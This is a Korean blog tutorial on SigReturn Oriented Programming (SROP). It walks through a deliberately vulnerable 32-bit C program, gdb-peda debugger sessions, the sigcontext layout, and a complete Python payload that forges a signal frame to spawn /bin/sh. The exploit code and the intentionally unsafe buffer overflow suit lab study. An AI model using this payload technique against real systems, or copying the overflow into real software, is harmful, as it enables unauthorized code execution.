티스토리 뷰

System/Linux

SROP 정리

Tribal 2016. 1. 11. 18:58
SROP(SigReturn Oriented Programming) : SigReturn 이라는 System Call을 이용한 기법
SigReturn System Call : 시그널을 받은 프로세스가 커널 모드에서 유저 모드로 복귀할 때사용하는 System Call

SROP 공격을 위한 선행 조건
  1. Overflow 취약점 : Overflow 를 통해 Memory를 조작하여 공격 진행
  2. EAX 레지스터 제어 : 뒤에 보겠지만 EAX 레지스터에 System Call의 Number가 들어감
  3. int 0x80 Gadget :  pop-pop-ret 를 대신할 SROP 에서 필수 Gadget

실습 환경 : 32bit Ubuntu 14.04 LTS, Stack Gaurd Off
예제 소스

char sh[]="/bin/sh"; //예제라서 넣은 것, 실제로는 ROP를 통해 만들 필요가 있음

 

void int80()

{

    asm("int $0x80"); //역시 예제라서 넣은 것, 없으면 SROP 공격을 못 함

}

 

void main()

{

    char buf[8];

 

    read(0, buf, 128); //Overflow 취약점

}

실제로 위와 같은 프로그램을 만들거나 하지는 않겠지만, 예제이기 때문에 위처럼 일부러 만들었다.

*nix 시스템에서 사용하는 중요한 상수값들이 정의된 헤더파일인 unistd_32.h을 확인해보면 sigreturn 을 위한 System Call 번호가 정의되어 있다.

131 번째에 나와있는데 sigreturn은 119 라는 상수 값으로 정의가 되어 있는 것을 볼 수 있다. 

이 때, int 0x80은 EAX 값을 통해 System Call을 하기 때문에 EAX 값을 sigreturn의 값으로 제어를 한 후 호출해야 한다. 다행히 위의 예제는 read 함수를 통해 표준입력을 하여 return의 반환 값으로 입력받은 바이트 크기를 반환하는데 EAX 레지스터에 이 반환 값이 저장되게 된다.


따라서, buf에 119바이트를 입력하여 EAX 레지스터에 119의 값을 저장한 후 int 0x80 Gadget을 호출할 경우 sigreturn이 시그널을 통해 호출될 것이다.


gdb-peda$ pdisas main

Dump of assembler code for function main:

   0x08048424 <+0>:      push   ebp

   0x08048425 <+1>:      mov    ebp,esp

   0x08048427 <+3>:      and    esp,0xfffffff0

   0x0804842a <+6>:      sub    esp,0x20

   0x0804842d <+9>:      mov    DWORD PTR [esp+0x8],0x80

   0x08048435 <+17>:     lea    eax,[esp+0x18]

   0x08048439 <+21>:     mov    DWORD PTR [esp+0x4],eax

   0x0804843d <+25>:    mov    DWORD PTR [esp],0x0

   0x08048444 <+32>:     call   0x80482f0 <read@plt>

   0x08048449 <+37>:     leave 

   0x0804844a <+38>:     ret   

End of assembler dump.

gdb-peda$ b *main+37

Breakpoint 1 at 0x8048449

gdb-peda$ r

Starting program: /home/tribal/test/srop/int80

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

확인을 위해 read 함수 호출 이후에 break를 걸고 실행하여 준비해둔 A 118개를 입력해 주었다.


gdb-peda$ x/40wx $esp

0xbfdd9e30:       0x00000000       0xbfdd9e48       0x00000080       0xb759142d

0xbfdd9e40:       0xb77083c4       0xb7747000       0x41414141       0x41414141

0xbfdd9e50:       0x41414141       0x41414141       0x41414141       0x41414141

0xbfdd9e60:       0x41414141       0x41414141       0x41414141       0x41414141

0xbfdd9e70:       0x41414141       0x41414141       0x41414141       0x41414141

0xbfdd9e80:       0x41414141       0x41414141       0x41414141       0x41414141

0xbfdd9e90:       0x41414141       0x41414141       0x41414141       0x41414141

0xbfdd9ea0:       0x41414141       0x41414141       0x41414141       0x41414141

0xbfdd9eb0:       0x41414141       0x41414141       0x41414141       0xb70a4141

0xbfdd9ec0:       0x00000001       0x08048320       0x00000000       0x08048341

gdb-peda$ i r

eax            0x77        0x77

ecx            0xbfdd9e48          0xbfdd9e48

edx            0x80        0x80

ebx            0xb7708000          0xb7708000

esp            0xbfdd9e30          0xbfdd9e30

ebp            0xbfdd9e58          0xbfdd9e58

esi            0x0          0x0

edi            0x0          0x0

eip            0x8048449 0x8048449 <main+37>

eflags         0x203       [ CF IF ]

cs             0x73        0x73

ss             0x7b        0x7b

ds             0x7b        0x7b

es             0x7b        0x7b

fs             0x0          0x0

gs             0x33        0x33

Stack에 A가 제대로 들어간 것을 볼 수 있고 eax에 반환 값으로 0x77(119)가 저장된 것을 확인할 수 있다.

다음은 int 0x80을 실행시켜야 하므로 int 0x80 Gadget의 주소를 구해 Return Address에 넣어준다.

gdb-peda$ pdisas int80

Dump of assembler code for function int80:

   0x0804841d <+0>:      push   ebp

   0x0804841e <+1>:      mov    ebp,esp

   0x08048420 <+3>:      int    0x80

   0x08048422 <+5>:      pop    ebp

   0x08048423 <+6>:      ret   

End of assembler dump.

gdb-peda$ set {int}0xbfdd9e5c=0x08048420

gdb-peda$ x/40wx $esp

0xbfdd9e30:       0x00000000       0xbfdd9e48       0x00000080       0xb759142d

0xbfdd9e40:       0xb77083c4       0xb7747000       0x41414141       0x41414141

0xbfdd9e50:       0x41414141       0x41414141       0x41414141       0x08048420

0xbfdd9e60:       0x41414141       0x41414141       0x41414141       0x41414141

0xbfdd9e70:       0x41414141       0x41414141       0x41414141       0x41414141

0xbfdd9e80:       0x41414141       0x41414141       0x41414141       0x41414141

0xbfdd9e90:       0x41414141       0x41414141       0x41414141       0x41414141

0xbfdd9ea0:       0x41414141       0x41414141       0x41414141       0x41414141

0xbfdd9eb0:       0x41414141       0x41414141       0x41414141       0xb70a4141

0xbfdd9ec0:       0x00000001       0x08048320       0x00000000       0x08048341

gdb-peda$ n

gdb-peda$ n

Cannot access memory at address 0x41414145

gdb-peda$ i r

eax            0x77        0x77

ecx            0xbfdd9e48          0xbfdd9e48

edx            0x80        0x80

ebx            0xb7708000          0xb7708000

esp            0xbfdd9e60          0xbfdd9e60

ebp            0x41414141          0x41414141

esi            0x0          0x0

edi            0x0          0x0

eip            0x8048420 0x8048420 <int80+3>

eflags         0x203       [ CF IF ]

cs             0x73        0x73

ss             0x7b        0x7b

ds             0x7b        0x7b

es             0x7b        0x7b

fs             0x0          0x0

gs             0x33        0x33

Return Address를 통해 eip가 int 0x80 Gadget의 주소로 변경된 것을 확인할 수 있다.

gdb-peda$ n

Cannot access memory at address 0x41414141

gdb-peda$ i r

eax            0x0         0x0

ecx            0x41414141          0x41414141

edx            0x41414141          0x41414141

ebx            0x41414141          0x41414141

esp            0x41414141          0x41414141

ebp            0x41414141          0x41414141

esi            0x41414141 0x41414141

edi            0x41414141           0x41414141

eip            0x41414141           0x41414141

eflags         0x10243    [ CF ZF IF RF ]

cs             0x4143      0x4143

ss             0x4143      0x4143

ds             0x4141     0x4141

es             0x4141     0x4141

fs             0x4141      0x4141

gs             0x4141     0x4141

결과적으로 int 0x80이 실행되면서 sigreturn이 호출되고 레지스터의 값이 Stack에 넣어준 값으로 변경된 것을 확인할 수 있다.
이 값은 sigcontext 구조체의 배치에 따라 Return Address 다음에 들어간 스택 값 들이 복사되어 들어간 것이다. 

sigcontext 구조체

struct sigcontext {

             unsigned short gs, __gsh;

             unsigned short fs, __fsh;

             unsigned short es, __esh;

             unsigned short ds, __dsh;

             unsigned long edi;

             unsigned long esi;

             unsigned long ebp;

             unsigned long esp;

             unsigned long ebx;

             unsigned long edx;

             unsigned long ecx;

             unsigned long eax;

             unsigned long trapno;

             unsigned long err;

             unsigned long eip;

             unsigned short cs, __csh;

             unsigned long eflags;

             unsigned long esp_at_signal;

             unsigned short ss, __ssh;

             struct _fpstate *fpstate;

             unsigned long oldmask;

             unsigned long cr2;

};

이제 페이로드를 [ buffer ] [ sfp ] [ ret ] [ sigcontext 구조체 내용 ]의 구성에 맞춰서 넣어주면 공격이 된다.


#!/usr/bin/python

from struct import pack

 

p = lambda x: pack("<I", x)

 

syscall = 0x08048420

 

payload = ""

 

payload += "A"*20

payload += p(syscall)       #ret

payload += p(0x33)          #GS

payload += p(0)            #FS

payload += p(0x7b)          #ES

payload += p(0x7b)          #DS

payload += p(0)            #EDI

payload += p(0)            #ESI

payload += p(0x08049b00)   #EBP

payload += p(0x08049a00)   #ESP

payload += p(0x0804a020)   #EBX #/bin/sh

payload += p(0)            #EDX

payload += p(0)            #ECX

payload += p(0x0b)          #EAX #execve system call number(11)

payload += p(0)            #trapno

payload += p(0)            #err

payload += p(syscall)      #EIP

payload += p(0x73)          #CS

payload += p(0x246)         #eflags

payload += p(0)            #esp_atsignal

payload += p(0x7b)          #SS

payload += "\x00"*(118-len(payload))

 

print payload

execve system call을 통해 /bin/sh를 실행할 수 있도록 EIP 레지스터에는 int 0x80 Gadget의 주소를 한 번 더 넣어주고 EAX에는 execve System Call의 상수 값을 넣어준다. 그리고 인자인 EBX 레지스터에 "/bin/sh" 문자열의 주소를 넣어주면 공격이 완료된다.



shell이 실행된 것을 확인할 수 있다.



참고자료 : 

SROP.pdf

http://err0rless313.tistory.com/entry/SigReturn-Oriented-Programming-32bit


'System > Linux' 카테고리의 다른 글

Heap chunk 정리  (0) 2016.04.14
Linux Remote Shellcode  (0) 2016.01.30
ropgadget find  (0) 2016.01.06
32bit와 64bit의 차이  (0) 2015.12.29
포장 함수 gets, fgets의 임시 버퍼  (0) 2015.12.28
댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31